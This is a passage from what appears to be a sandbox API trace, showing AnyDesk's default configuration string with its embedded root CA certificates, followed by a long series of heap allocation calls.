ideo=true\nad.ui.cfg_enable_audio=true\nad.ui.cfg_enable_connection=true\nad.ui.cfg_enable_capture=true\nad.ui.cfg_enable_filetransfer=true\nad.ui.cfg_enable_recording=true\nad.ui.cfg_enable_vpn=true\nad.ui.cfg_enable_wol=true\nad.ui.id_group.title=\nad.ui.id_group.text=\nad.ui.id_group.color=#fb4137\nad.ui.connect_group.title=\nad.ui.connect_group.text=\nad.ui.connect_group.color=#fcc236\nad.ui.install_group.color=#5f88cf\nad.ui.version_group.color=#fb4137\nad.ui.support_group.color=#fcc236\nad.ui.window_title=AnyDesk\nad.ui.disclaimer.title=\nad.ui.disclaimer.text=\nad.ui.disclaimer.text.color=#3c3c3c\nad.ui.disclaimer.bg.color=#ffffff\nad.ui.disclaimer.accept=\nad.ui.disclaimer.cancel=\nad.ui.disclaimer.hash=\nad.ui.abook_on_startup=false\nad.ui.to_top_on_chat=false\nad.ui.address_menu_defaults=\nad.ui.update_link=\nad.ui.busy_indicator.ad=1\nad.ui.busy_indicator.hdd=1\nad.ui.active_indicator.vpn=1\nad.ui.session_invitation_window=1\nad.ui.enable.dialog.plugin.install=1\nad.ui.enable.dialog.plugin.update=1\nad.ui.enable.dialog.plugin.activation=1\nad.ui.enable.dialog.battery_optimization=1\nad.ui.enable.dialog.overlay_permission=1\nad.ui.enable.dialog.local_scam_warning=1\nad.ui.enable.dialog.privacy_policy=1\nad.ui.enable.tutorial_autostart=1\nad.ui.notification_sound.incoming_conn_request=0\nad.ui.notification_sound.sess_create=0\nad.ui.notification_sound.sess_close=0\nad.roster.items=\nad.roster.recent_out=\nad.roster.recent_out.show_all=false\nad.roster.recent_out.view_type=0\nad.roster.recent_in=\nad.roster.favorites=\nad.roster.favorites.show_all=false\nad.roster.favorites.view_type=0\nad.roster.sent_invitation.show_all=true\nad.roster.sent_invitation.view_type=2\nad.roster.recv_invitation.show_all=true\nad.roster.recv_invitation.view_type=2\nad.roster.discovered.show_all=false\nad.roster.discovered.view_type=0\nad.roster.contacts.contact_type=0\nad.roster.contacts.view_type=0\nad.roster.adv_view=true\nad.abook.recent_id=0\nad.abook.view_type=0\nad.abook.sort_key=0\nad.abook.sort_order=0\nad.abook.items_per_page=10\nad.image.quality_preset=0\nad.image.quality_adaptive=true\nad.image.quality_lossless=false\nad.image.show_remote_cursor=false\nad.image.follow_remote_cursor=false\nad.image.auto_keyboard=true\nad.image.mac_retina=false\nad.image.move_size_hlp=false\nad.image.insta_fullscreen=false\nad.image.edge_scroll=false\nad.image.suppress_keys=true\nad.image.enable_hostkey=true\nad.image.viewmode=1\nad.image.capturemode=1\nad.image.rendermode=2\nad.image.rendertech=0\nad.image.rendermode.fail_hint=true\nad.image.force_mdriver=false\nad.image.pixel_fmt=0\nad.image.target_fps=60\nad.image.follow_remote_focus=0\nad.image.use_xdamage=false\nad.image.use_xdamage_hack=false\nad.input.inject_mouse_as_touch=1\nad.input.auto_touch_to_touch_mode=true\nad.input.touch_mode=2\nad.input.kbd_mode=0\nad.security.connect.send_user_list=0\nad.security.interactive_access=1\nad.security.permission_profiles.version=0\nad.security.permission_profiles.invitation=\nad.security.permission_profiles.address_to_profile=\nad.security.permission_profiles.enable_previous_session=1\nad.security.permission_profiles.permissions.audio=0\nad.security.permission_profiles.permissions.input=0\nad.security.permission_profiles.permissions.clipboard=0\nad.security.permission_profiles.permissions.clipboard_files=0\nad.security.permission_profiles.permissions.block_input=0\nad.security.permission_profiles.permissions.sas=0\nad.security.permission_profiles.permissions.restart=0\nad.security.permission_profiles.permissions.file_manager=0\nad.security.permission_profiles.permissions.lock_desk=0\nad.security.permission_profiles.permissions.sysinfo=0\nad.security.permission_profiles.permissions.whiteboard=0\nad.security.permission_profiles.permissions.tcp_tunnel=0\nad.security.permission_profiles.permissions.vpn=0\nad.security.permission_profiles.permissions.user_pointer=0\nad.security.permission_profiles.permissions.privacy_feature=0\nad.security.permission_profiles.permissions.record_session=0\nad.security.permission_profiles.changeable_in_accept_window.audio=1\nad.security.permission_profiles.changeable_in_accept_window.input=1\nad.security.permission_profiles.changeable_in_accept_window.clipboard=1\nad.security.permission_profiles.changeable_in_accept_window.clipboard_files=1\nad.security.permission_profiles.changeable_in_accept_window.block_input=1\nad.security.permission_profiles.changeable_in_accept_window.sas=1\nad.security.permission_profiles.changeable_in_accept_window.restart=1\nad.security.permission_profiles.changeable_in_accept_window.file_manager=1\nad.security.permission_profiles.changeable_in_accept_window.lock_desk=1\nad.security.permission_profiles.changeable_in_accept_window.sysinfo=1\nad.security.permission_profiles.changeable_in_accept_window.whiteboard=1\nad.security.permission_profiles.changeable_in_accept_window.tcp_tunnel=1\nad.security.permission_profiles.changeable_in_accept_window.vpn=1\nad.security.permission_profiles.changeable_in_accept_window.user_pointer=1\nad.security.permission_profiles.changeable_in_accept_window.privacy_feature=1\nad.security.permission_profiles.changeable_in_accept_window.record_session=1\nad.security.permission_profiles.show_in_accept_window=1\nad.security.permission_profiles.enabled=1\nad.security.permission_profiles.can_switch_profile=1\nad.security.permission_profiles.can_create=1\nad.security.permission_profiles.removed=0\nad.security.permission_profiles._default.changeable_in_accept_window.audio=1\nad.security.permission_profiles._default.changeable_in_accept_window.input=1\nad.security.permission_profiles._default.changeable_in_accept_window.clipboard=1\nad.security.permission_profiles._default.changeable_in_accept_window.clipboard_files=1\nad.security.permission_profiles._default.changeable_in_accept_window.block_input=1\nad.security.permission_profiles._default.changeable_in_accept_window.sas=1\nad.security.permission_profiles._default.changeable_in_accept_window.restart=1\nad.security.permission_profiles._default.changeable_in_accept_window.file_manager=1\nad.security.permission_profiles._default.changeable_in_accept_window.lock_desk=1\nad.security.permission_profiles._default.changeable_in_accept_window.sysinfo=1\nad.security.permission_profiles._default.changeable_in_accept_window.whiteboard=1\nad.security.permission_profiles._default.changeable_in_accept_window.tcp_tunnel=1\nad.security.permission_profiles._default.changeable_in_accept_window.vpn=1\nad.security.permission_profiles._default.changeable_in_accept_window.user_pointer=1\nad.security.permission_profiles._default.changeable_in_accept_window.privacy_feature=1\nad.security.permission_profiles._default.changeable_in_accept_window.record_session=1\nad.security.permission_profiles._default.can_switch_profile=1\nad.security.permission_profiles._default.show_in_accept_window=1\nad.security.permission_profiles._default.pwd=\nad.security.permission_profiles._default.salt=\nad.security.permission_profiles._full_access.pwd=\nad.security.permission_profiles._full_access.salt=\nad.security.permission_profiles._screen_sharing.pwd=\nad.security.permission_profiles._screen_sharing.salt=\nad.security.permission_profiles._unattended_access.pwd=\nad.security.permission_profiles._unattended_access.salt=\nad.security.view_screen=true\nad.security.hear_audio=true\nad.security.control_input=true\nad.security.sync_clipbrd=true\nad.security.clipboard.files=true\nad.security.block_input=true\nad.security.restart=true\nad.security.file_manager=true\nad.security.lock_account=true\nad.security.lock_remote_account=false\nad.security.record_session=true\nad.security.tcp_tunnel=false\nad.security.privacy_feature=false\nad.security.settings_protection=0\nad.security.enable_uaccess_permissions=true\nad.security.uaccess.connect.send_user_list=0\nad.security.uaccess.hear_audio=true\nad.security.uaccess.control_input=true\nad.security.uaccess.sync_clipbrd=true\nad.security.uaccess.clipboard.files=true\nad.security.uaccess.block_input=true\nad.security.uaccess.restart=true\nad.security.uaccess.file_manager=true\nad.security.uaccess.lock_account=true\nad.security.uaccess.sysinfo=true\nad.security.uaccess.user_pointer=true\nad.security.uaccess.print=true\nad.security.uaccess.whiteboard=true\nad.security.uaccess.record_session=true\nad.security.uaccess.privacy_feature=true\nad.security.uaccess.tcp_tunnel=true\nad.security.uaccess.vpn=true\nad.security.user_pointer=true\nad.security.allow_logon_token=true\nad.security.acl_enabled=false\nad.security.login_enabled=true\nad.security.acl_list=\nad.security.acl_trigger=false\nad.security.sysinfo=true\nad.security.whiteboard=true\nad.security.vpn=true\nad.security.override_local_mouse=false\nad.security.override_local_keyboard=false\nad.security.update_channel=stable\nad.security.update_type=0\nad.security.update_check_interval=32400\nad.security.update_activity_interval=600\nad.security.update_activity_recheck_interval=1200\nad.security.print=true\nad.security.frontend_clipboard_version=0\nad.security.frontend_clipboard=1\nad.security.frontend_clipboard_files=1\nad.security.kickout=0\nad.security.passwords_permissions=\nad.security.invitation_permissions=\nad.security.two_factor_auth_flags=1\nad.security.auto_disconnect.mode=0\nad.security.auto_disconnect.timeout=600\nad.security.sess.lock_remote_account=0\nad.privacy.trigger=false\nad.privacy.name=\nad.privacy.name.show=1\nad.privacy.image.show=1\nad.privacy.bkgnd.show=1\nad.privacy.scrshot.path_cfg=1\nad.privacy.scrshot.path=\nad.privacy.online.show=1\nad.privacy.online.show_list=\nad.privacy.chat.path_cfg=1\nad.privacy.chat.path=\nad.privacy.wallpaper.mode=0\nad.privacy.wallpaper.color=#000000FF\nad.privacy.wallpaper.path=\nad.privacy.screen_frame.mode=0\nad.privacy.screen_frame.color=#FF0000FF\nad.privacy.screen_frame.opacity=128\nad.privacy.screen_frame.width=10\nad.recording.auto_start.incoming=0\nad.recording.auto_start.incoming.admin=0\nad.recording.auto_start.outgoing=0\nad.recording.auto_start=false\nad.recording.path_cfg=1\nad.recording.path=\nad.recording.incoming=true\nad.recording.outgoing=true\nad.audio.transmit=true\nad.audio.transmit_mode=2\nad.audio.transmit_use_monitor=true\nad.audio.transmit_source=\nad.audio.playback=true\nad.audio.playback_mode=1\nad.audio.playback_device=\nad.audio.exclusive=false\nad.session.remember_settings=true\nad.session.audio.playback=\nad.session.auto_keyboard=\nad.session.show_remote_cursor=\nad.session.follow_remote_cursor=\nad.session.move_size_hlp=\nad.session.quality_preset=\nad.session.quality_adaptive=\nad.session.quality_lossless=\nad.session.touch_mode=\nad.session.kbd_mode=\nad.session.viewmode=\nad.session.local_file_sort_order=\nad.session.remote_file_sort_order=\nad.session.remote_browser_start_path=\nad.session.local_browser_start_path=\nad.session.lock_remote_account=false\nad.session.privacy_feature=false\nad.session.vpn_auto_config=\nad.session.vpn_start_ip=\nad.session.vpn_client_ip=\nad.session.vpn_server_ip=\nad.session.vpn_default_netmask=\nad.session.show_keyboard=false\nad.session.follow_remote_focus=0\nad.session.limit_incoming=0\nad.session.limit_outgoing=0\nad.session.sync_clipbrd=true\nad.session.sync_clipbrd_files=true\nad.session.suppress_keys=true\nad.session.timeout.monitor_switch=750\nad.session.timeout.monitor_switch.after_mouse=5000\nad.session.timeout.monitor_switch.after_focus=3000\nad.license.name=\nad.license.register_key=\nad.license.auto_reg_hash=\nad.license.id=0\nad.license.permissions=1\nad.features.connect=true\nad.features.address_bar=true\nad.features.accept=true\nad.features.install=true\nad.features.update=true\nad.features.auto_uac=false\nad.features.woa=false\nad.features.address_book=true\nad.features.sess_playback=true\nad.features.sess_record=true\nad.features.trace.connection=true\nad.features.trace.session=true\nad.features.register_alias=false\nad.features.unattended=true\nad.features.file_manager=true\nad.features.vpn=true\nad.features.wol=true\nad.features.motd=true\nad.features.motd_dialogues=true\nad.features.two_factor_auth=true\nad.features.screen_keyboard=true\nad.features.tcp_tun=true\nad.features.tcp_tun_script=true\nad.features.session_invitation.send=true\nad.features.session_invitation.receive=true\nad.features.wallpaper=true\nad.features.screen_frame=true\nad.features.anynet_config_layer=true\nad.features.telemetry=false\nad.features.user_account=true\nad.features.recent_out=true\nad.features.favorites=true\nad.features.quality_adaptive=true\nad.online_status.receive=true\nad.anynet.id=0\nad.anynet.alias=\nad.anynet.pkey=\nad.anynet.cert=\nad.anynet.fpr=\nad.anynet.listen_port=0\nad.anynet.listen_socket=2\nad.anynet.proxy.mandatory=false\nad.anynet.proxy.legacy_wpad=false\nad.anynet.proxy.max_search_delay=100\nad.anynet.proxy.min_search_interval=60000\nad.anynet.proxy.mode=1\nad.anynet.proxy.type=0\nad.anynet.proxy.addr=\nad.anynet.proxy.port=0\nad.anynet.proxy.auth=false\nad.anynet.proxy.auto_auth=true\nad.anynet.proxy.user=\nad.anynet.proxy.pass=\nad.anynet.proxy.pass_plain=\nad.anynet.boot_addrs=boot.net.anydesk.com\nad.anynet.conn_methods=connect:443;connect:80;socks:443;direct:443;direct:80;direct:6568\nad.anynet.last_relay=\nad.anynet.relay.state=0\nad.anynet.relay.fatal_result=0.0\nad.anynet.pwd_hash=\nad.anynet.pwd_salt=\nad.anynet.secondary_pwd_hashes_and_salts=\nad.anynet.two_factor_key=\nad.anynet.auth_disabled=false\nad.anynet.cur_version=0\nad.anynet.cli_ciphers=DEFAULT:!RC4\nad.anynet.svr_ciphers=DEFAULT:!RC4\nad.anynet.auth_tokens=\nad.anynet.token_salt=\nad.anynet.ca_certs=-----BEGIN CERTIFICATE-----\\nMIIFYzCCA0ugAwIBAgIJAIf7DQy3sYvoMA0GCSqGSIb3DQEBBQUAMEgxFzAVBgNV\\nBAMMDkFueU5ldCBSb290IENBMSAwHgYDVQQKDBdwaGlsYW5kcm8gU29mdHdhcmUg\\nR21iSDELMAkGA1UEBhMCREUwHhcNMTQwNDExMDIzNzU1WhcNMjQwNDA4MDIzNzU1\\nWjBIMRcwFQYDVQQDDA5BbnlOZXQgUm9vdCBDQTEgMB4GA1UECgwXcGhpbGFuZHJv\\nIFNvZnR3YXJlIEdtYkgxCzAJBgNVBAYTAkRFMIICIjANBgkqhkiG9w0BAQEFAAOC\\nAg8AMIICCgKCAgEAtBVBDdoa01og/vnfvwqM8aSt79RUlufigrcNAOrxN+LXjKEW\\nO6BoCDiqbdsmvqZpkzaojh5w3KyBHuLdFoM0tRVw9YrNne5dgHxaeKIHpK7m+NYx\\n+lx7u+Ba61Evl7/2+zMnkLPY5ODNaDtqh2ymDefYvWHfVmsq4Rwr9Z+/hd2MWwYe\\ncX+6SqZAsHcX6iw/W5QUhS6tEWGriPYBu7NHa+KBGPGOOebYewxjhoOscIR1Jy01\\nPXt7qM6ySHkIOC2CJn6TSzJ2ZoWn/crxCi/HYg9qQP4aa1gcU+RjwXWDmqt4BEmD\\nH+cjcJ+jv2jRMy9M3l6GmH1hfQE09Zzpy0FrrlArZ9XZ8gL8X6NSNLncZ+/6c8WU\\nQOq1iveY7Oibu4ZsbzY3ioCMn4T2ykp2InKNUn2FdU1V762v8+UWIwBb6Lbtfp8u\\ngEvu1V/cZemJ3NumQwS7zv2pTC8ZM6rmcSCG/kWLl+bIHU9wusfAw/Om8trCpBvd\\niU7sHNp7JI+qQvkUMoNoY8gmvOwTsw0L4rYIxsYGfqMWbxXSGxZSPB8ikSUXFcxC\\ngto7qDnHKlDK2UygjJUzdQNwuN+gybKyixs4g3kywxLaM5ZC9JERqsYmMbzqQ4ow\\nVGXFQ55QO/qRkw6dOyNKPUPBxiKbaK8v/AGAUhgFIg69auQuydbsxY/zE7MCAwEA\\nAaNQME4wHQYDVR0OBBYEFBlleQaAxt6yqliZV7I2XO0BYo1HMB8GA1UdIwQYMBaA\\nFBlleQaAxt6yqliZV7I2XO0BYo1HMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEF\\nBQADggIBALOqRxekr9JgNBWtJdWOKF7BqrGNMFabR3by4CBUBj3xI8Lvu6Hyn+Or\\nDAa/VF4MGjVWbeGTS8WZX5CGflKDlKCgRzby/PLCTXDJyW40XKcPBP3rFl6KvoY7\\noAxzf6P1Xz0rxUEMZwrjSCvKYvapmh7J5ES8F/nbXEWYCWnsyGPvhSlOce35maxJ\\nIIqQvFmO8fOlmZkS46d75Wg0q1NarfFEyrp/wqZzkhDqjLHGydXkXisPHkqT+W1M\\nBoWQZVHTicwuomu15PDqNzWpfcDLhxIycpMhUYEdowzKlviB9JKgr/cZJPPmzeoR\\nKcnxKR2yKxgatKPAWMRwOXiniNd0MsKAYoNY47Q+JbhWLGB3UiWqYTLRl413JDQk\\nxdvy3WHI7WNXDsJw5R9S3WxvOLLa7Z2nL4f6s3DlZE35wwLVRtofy/BYIPxElvDK\\ntps55s8n0CyZdNTK3keI7d/3nDusimLSdZDZAIHT+MJHjpq9h23O5Zp/KHakd8Y/\\nub9N8cvfDyxz/rRg4yZeg/KuNlaU6aedoT3KXW49Xahv8qWP855ohSfs6WeFNBYN\\nRTQUjgcMeyVRVPM/oSrvmheeUd4WZPvd4ciUCYw5u3dz1Ga7SStc+itXi2at96hw\\nO4+eCXHeEi7tAhBM1Wcecv86PjRtkmA9RF70IWDubC46cxrDJmr0\\n-----END CERTIFICATE-----;-----BEGIN CERTIFICATE-----\\nMIIFbDCCA1SgAwIBAgIJAOcOOMSgQkRlMA0GCSqGSIb3DQEBDQUAMEoxGTAXBgNV\\nBAMMEEFueU5ldCBSb290IENBIDIxIDAeBgNVBAoMF3BoaWxhbmRybyBTb2Z0d2Fy\\nZSBHbWJIMQswCQYDVQQGEwJERTAgFw0xOTAyMjcyMDEyNDJaGA8yMTE5MDIwMzIw\\nMTI0MlowSjEZMBcGA1UEAwwQQW55TmV0IFJvb3QgQ0EgMjEgMB4GA1UECgwXcGhp\\nbGFuZHJvIFNvZnR3YXJlIEdtYkgxCzAJBgNVBAYTAkRFMIICIjANBgkqhkiG9w0B\\nAQEFAAOCAg8AMIICCgKCAgEAqUhRKwaqr1CtntCMZuAUNG5XbII8il8yXSScuhcU\\n3esJbXdiDWXqKd8HS4h3hTTiKsrPa7vx8SZXG+rlAigmfpgYe6CLK1DvW5AIjrUe\\nkOmyt9h6eMQ1aYl+YWVAaiFZuU6HHdVVkAvJLABRNs1Mg6PU05gMVrugEbRq/8nl\\nurQLjfPAszqu2hNE9Vhupf0agw2hbSJ6WzeQnaubOZPs1bQ3uD8bJKVMg/ttgJ9c\\nwkyqDLVP4zs3Wz8L1g2+EdwuQxJnN9rLdlunb+Hop86+ZaJXPWqJzqOZCa3EA9As\\nRxQVhL9h35fktdu5u0CL5ZBS9B2jumydmRWGTfwFxbMThd/tn/e9BzorTCKEcvJr\\nDoqxaCxE8iOGbjTN2zIC0PTIv6g0sj28nbPF5FBelpF5D5k+o1SZ9xjDG4xmcovU\\nu3W1nrKf60CLoHTqQ2XeUYu7NkKOr9Fn72hSqDACRBJQIGxZnresFSRY2IS6FTy4\\n8zyfnz0Qrlj/A5vzAOqKA7S3XNCT1DcjlA6V4a5AWe1bdsW/MB9fsFuPPmknLa8n\\nGOW2Y57eXgQ9SShz/Mn9+5nzOTSWpFbP7r5kZt6lDyMvrA2TN4PS2teuKy/ndna8\\nXV/ad8yD4Uf4slVPU0g9r2ZEb8PyxS3z1E1DbZ4nJBQTCI2dgBpeseP7rWGAGHKY\\nzMkCAwEAAaNTMFEwHQYDVR0OBBYEFFnC16nf4dqWO76ICbRqUvhBCPUbMB8GA1Ud\\nIwQYMBaAFFnC16nf4dqWO76ICbRqUvhBCPUbMA8GA1UdEwEB/wQFMAMBAf8wDQYJ\\nKoZIhvcNAQENBQADggIBADsJ7G/zeZhpGAzLbhzYo/bnvrpFV9F77JybAKpG+Oit\\nByYvH8jLdQjoBNRPGv8Cd5U6kehaS2wXF3NbGLVF5MpHZL6QFQnEplfwpIz1jLxn\\nLFL2zzD/Yxtb5Noef5CIklb2JSejDMwz3AoVMru5OzQZn0O+eQHHY/PT/4hc7KWQ\\ne3IkJKjwf7drAVgKKzpaUsXD6mrzFdYPYThWUtrse+al37pyJWZYaYddqUMvBiLh\\nMrG/E9su5p/nRVSWv7W5h+03dciN+F70RcJD/yD22NSa02swMKLqWAbdrDbScYER\\neraUizYRrtPCttch4pLAZUDUNmgftGR52lJ679945EoLLEDvOyKrLz+dPZ+dHZS9\\nqvfvyHGV/zCnDNI3oDZM3M/l8WINapU8oWlfWpTdC1w6aNPnxoS1QuIGFVVdzBbG\\nSV7ngG9YLqgIPw1EpxPyu4T7o8XLoD5z0U/u9wR32W3W5Bekzq7DmgL/uSTrP5WH\\nqsqx23y7fziLCiJE1k7dJwt2IEhQJrdhpcy8UrUEf9F/HyB0RJw0i6/5aswg/6gw\\nEVR+qbECD/osvRsZQTLCK+66z2jleK/Ooh0Wj4mrhiTsDdNgGK5W/TGVoeeKxGnm\\nCBnBW2cvz0o4RUw3jGY1AGSYvIYxy7qGsa6XAn0C1NkIc9dUoV8XhhH1Wo3uQbHO\\n-----END CERTIFICATE-----\nad.anynet.relay_only=false\nad.anynet.connect_volatile_tokens=\nad.anynet.accept_volatile_tokens=\nad.anynet.accept_volatile_tokens_info=\nad.anynet.register.add_to_namespace=false\nad.anynet.register.namespace_id=0\nad.anynet.register.add_to_roster=false\nad.anynet.register.roster_id=0\nad.anynet.register.roster_tags=\nad.anynet.update_state=0\nad.anynet.last_auto_update=0\nad.anynet.direct=true\nad.anynet.keepalive=false\nad.anynet.network_id=\nad.anynet.network_hash=\nad.anynet.client_stats_hash=\nad.restart.restore_bcd=false\nad.service.remove_at_start=false\nad.files.local_file_sort_order=4\nad.files.remote_file_sort_order=4\nad.files.remote_browser_start_path=\nad.files.local_browser_start_path=\nad.files.enable_parent_folder=true\nad.custom_client_id=\nad.print.auto_exec_injobs=false\nad.print.mode=1\nad.print.device=\nad.discovery.enabled=true\nad.discovery.multicast_ip=239.255.102.18\nad.discovery.multicast_port=50001\nad.discovery.repeat_interval=1000\nad.discovery.repeat_limit=10\nad.discovery.hidden=false\nad.discovery.buffer_interval=5000\nad.discovery.show_tile=1\nad.discovery.default_behavior=1\nad.discovery.port_range=3\nad.discovery.verbose=0\nad.discovery.encrypted=1\nad.discovery.support_v1=1\nad.vpn.start_ip=2886860800\nad.vpn.default_netmask=4294967292\nad.vpn.auto_config=true\nad.vpn.client_ip=167772161\nad.vpn.server_ip=167772162\nad.keyboard.show_keyboard=false\nad.wol.enabled=true\nad.wol.auto_add=1\nad.wol.group_sync=\nad.wol.mode=1\nad.wol.mac_hash=\nad.msg.channels_states=\nad.msg.data=\nad.invite.created_list_encrypted=\nad.invite.received_list_encrypted=\nad.bandwidth.limit=false\nad.bandwidth.limit_kbs=0\nad.telemetry.mode=1\nad.account.info=\nad.account.oauth_provider=\nad.account.auth_methods=\n") returned 19716 [0189.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0x3bf8d0 [0189.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf040 [0189.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3c) returned 0x3be180 [0189.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf058 [0189.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3c) returned 0x3be1c8 [0189.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf070 [0189.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3bfef0 [0189.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf088 [0189.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x22) returned 0x3bff38 [0189.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf0a0 [0189.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0x3bd6b0 [0189.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf0b8 [0189.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0x3bff68 [0189.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf0d0 [0189.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0x3bffa0 [0189.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf0e8 [0189.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe09a60 [0189.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf100 [0189.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe09aa0 [0189.917] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf118 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe09ae0 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf130 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe09b10 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf148 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe09b40 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf160 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe09b70 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf178 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe09ba8 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf190 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe09be0 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf1a8 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe09c20 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf1c0 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe09c58 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf1d8 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe09c98 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf1f0 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe09cd0 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf208 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe09d10 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf220 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe09d58 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf238 [0189.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3c) returned 0xe09d90 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf250 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe09dd8 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe09e48 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe0a230 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe09e60 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe0a270 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe09e78 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe0a2b0 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe09e90 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe0a2d8 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe09ea8 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe0a318 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe09ec0 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe0a350 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe09ed8 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0xe0a390 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe09ef0 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe0a3d8 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe09f08 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3c) returned 0xe0a420 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe09f20 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe0a468 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe09f38 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe0a4a8 [0189.919] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe09f50 [0189.920] RtlAllocateHeap (HeapHandle=0x3b0000, 